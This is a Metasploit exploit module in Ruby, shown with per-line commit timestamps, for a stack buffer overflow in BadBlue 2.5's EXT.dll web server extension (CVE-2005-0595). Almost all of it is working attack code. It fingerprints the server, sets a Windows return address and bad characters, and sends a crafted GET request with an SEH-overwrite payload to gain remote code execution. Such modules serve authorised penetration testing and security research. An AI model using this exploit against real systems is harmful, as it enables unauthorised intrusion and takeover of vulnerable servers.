2007-02-18 00:10:39 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-12-23 18:31:57 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GreatRanking
|
2006-12-23 18:31:57 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
|
|
|
|
# However, a proper Server header is returned when requesting /index.html or using HEAD.
|
|
|
|
HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
|
2010-07-07 17:38:59 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2006-12-23 18:31:57 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This is a stack buffer overflow exploit for BadBlue version 2.5.
|
|
|
|
},
|
2014-07-11 17:45:23 +00:00
|
|
|
'Author' => 'acaro <acaro[at]jervus.it>',
|
2013-08-30 21:28:54 +00:00
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2005-0595' ],
|
|
|
|
[ 'OSVDB', '14238' ],
|
|
|
|
[ 'BID', '7387' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 500,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 20 2003',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
2006-12-23 18:31:57 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check
|
|
|
|
info = http_fingerprint # check method
|
|
|
|
if (info =~ /BadBlue\/2\.5/)
|
2014-01-21 17:07:03 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
end
|
2006-12-23 18:31:57 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
uri = "GET /ext.dll?mfcisapicommand="
|
|
|
|
sploit = rand_text_alphanumeric(500)
|
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
sploit[492, seh.length] = seh
|
|
|
|
uri << sploit
|
2006-12-23 18:31:57 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
send_request_raw({ 'uri' => uri })
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
end
|
2006-12-23 18:31:57 +00:00
|
|
|
|
2009-05-13 17:39:42 +00:00
|
|
|
end
|